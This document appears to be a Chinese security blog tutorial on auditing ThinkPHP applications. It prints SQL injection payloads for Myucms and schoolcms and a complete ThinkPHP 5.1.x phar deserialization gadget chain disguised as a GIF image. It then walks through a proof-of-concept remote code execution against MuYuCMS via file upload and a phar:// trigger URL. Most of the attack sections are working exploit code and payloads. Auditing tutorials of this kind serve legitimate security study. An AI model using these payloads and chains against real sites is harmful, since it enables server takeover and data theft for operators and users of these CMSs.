ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例
文章目录
- ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例
- 一.Thinkphp5不安全的SQL写法
- 二.Thinkphp3 SQL注入
- 三.Thinkphp链5.1.x结合phar实现RCE
- 1.自动生成
- 2.手动构造
- 实例分析
一.Thinkphp5不安全的SQL写法
Thinkphp官方提供了SQL接口,已经为SQL语句进行了预编译
但是不安全的写法,仍然可以造成SQL注入
https://www.kancloud.cn/manual/thinkphp5/135176
//官方写法
public function login(Request $request)
{
//index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23
$id=$request->param('id');
$data=Db::table('cw_admin')->where('id',$id)->find();//以数组形式传递
return $data['user'].'|'.$data['pass'];
}
这里的SQL语句,相等于直接进行SQL语句拼接
//不安全写法
public function login1(Request $request)
{
//index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23
$id=$request->param('id');
$data=Db::table('cw_admin')->where("id = $id")->find();//直接进行赋值
return $data['user'].'|'.$data['pass'];
}
比如Myucms 2021版 中 前台SQL 注入
可以判断是基于Thinkphp 5.0.24二开的
我们暂时忽略后台SQL,没有实战意义
可以发现在application/bbs/controller/User.php
前台bbs可能存在 SQL注入
public function xiaoxidel($ids)
{
if (!session('userid') || !session('username')) {
$this->error('亲!请登录',url('bbs/login/index'));
} else {
if ($ids==0) {
$id = input('id');
$data['open'] = 1;
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) {
return json(array('code' => 200, 'msg' => '标记已读成功'));
} else {
return json(array('code' => 0, 'msg' => '标记已读失败'));
}
}elseif ($ids==1){
$id = input('id');
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {
return json(array('code' => 200, 'msg' => '彻底删除成功'));
} else {
return json(array('code' => 0, 'msg' => '彻底删除失败'));
}
}
}
}
在功能点处
xiaoxidel
为了触发 SQL语句1.保证登录用户登录状态session
2.ids=0
3.id=payload
可以访问路由/index.php/bbs/User/xiaoxidel
判断功能点存在
/index.php/bbs/User/xiaoxidel/ids/0/id/1 and updatexml(1,concat("~",user(),"~"),1)
可以判断确实存在SQL注入
也可以黑盒测试一下 也存在SQL注入
二.Thinkphp3 SQL注入
原理分析:https://www.freebuf.com/articles/web/345544.html
schoolcms也是基于MVC-thinkphp框架实现二开
https://github.com/gongfuxiang/schoolcms
基于 Thinkphp 3.2
顺便访问一下网站
注意路由访问方式index.php?m=Home&c=Article&a=Index&id=1
Application/Admin/Controller/ArticleController.class.php
SaveInfo功能
这里直接拼接可控变量到查询语句中
判断功能点存在 index.php?m=Admin&c=Article&a=SaveInfo
测试了一下爆错,没有数据回显
测下 时间盲注index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=1 and sleep(3) %23
可以判断存在SQL时间盲注
三.Thinkphp链5.1.x结合phar实现RCE
thinkphp 5.0.x思路类似
渗透实战中,往往使用phpggc实现快速利用
结合已知的phpggc小工具利用链+文件上传功能phar文件
常见触发 phar 关键函数 (和文件流相关操作有关) 实现隐式反序列化
原理:
Phar文件结构
phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分1.a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾
当通过phar伪协议访问 phar文件时会自动反序列化 属性
等价于实现了 unserialize(phar的属性)
常用
file_exists(),is_dir(),fopen(),file_get_contents(),file()等文件操作的函数
1.自动生成
./phpggc -s ThinkPHP/RCE1 system calc -pj Cat03.jpg -o cat.jpg
现在只要有上传点+phar就可以实现RCE了
2.手动构造
结合gadgets.php
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("smi1e" => "system");
public function get($system)
{
$this->data = array("smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
在chain.php中
<?php
namespace GadgetChain\ThinkPHP;
class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '5.1.x-5.2.x';
public static $vector = '__destruct';
public static $author = 'Smi1e';
public static $information = '
This chain can only execute system().
Because the second parameter is uncontrollable
';
public function generate(array $parameters)
{
$function = $parameters['function'];
$parameter = $parameters['parameter'];
$Conver = new \think\model\Pivot($parameter);
return new \think\process\pipes\Windows($Conver);
}
}
定义namespace命名空间
return回来的数据就是序列化的数据
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("smi1e" => "system");
public function get()
{
$this->data = array("smi1e" => "calc");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
$phar = new Phar('x.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
}
?>
phar签名添加GIF89a绕过图片类型检测
实例分析
以MuyuCMS木鱼cms审计为例子
存在后台图片上传+phar实getshell的效果
https://github.com/MuYuCMS/MuYuCMS
先查看index.php 判断应用入口
判断内置thinkphp版本 5.1.41 可以拿通用的5.1.X反序列化链打
可以全局搜索一些关键函数
file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
比如在application/admin/controller/Update.php
存在判断file_exists
public function rmdirr($dirname)
{
// Sanity check
if (!file_exists($dirname)) {
return false;
}
// Simple delete for a file
if (is_file($dirname) || is_link($dirname)) {
return unlink($dirname);
}
// Loop through the folder
$dir = dir($dirname);
while (false !== $entry = $dir->read()) {
// Skip pointers
if ($entry == '.' || $entry == '..') {
continue;
}
if($entry == 'mdata'){
continue;
}
// Recurse
$this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
}
// Clean up
$dir->close();
return rmdir($dirname);
}
- 目标函数名是 rmdirr
- 没有判断需要绕过
- 可控dirname的值
application/admin/controller/Update.php
对应的路由
host/admin.php/update/rmdir.html?dirname=phar://
可以在内容上传处存在 尝试上传 phpgcc一把梭的文件
发现对 文件头做了过滤,但是我们可以手工生成一下phar链
弹出一个计算器就算成功
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("smi1e" => "system");
public function get()
{
$this->data = array("smi1e" => "calc");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
$phar = new Phar('x.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
}
?>
修改phar后缀为jpg文件后缀
可以成功上传phar文件
/public/upload/images/660fcf186ab58.jpg
POC
http://127.0.0.13//admin.php/update/rmdirr?dirname=phar://.//public/upload/images/660fcf186ab58.jpg
可以实现攻击
下篇文章结合thinkphp5.x的原理实现做几道最近的CTF题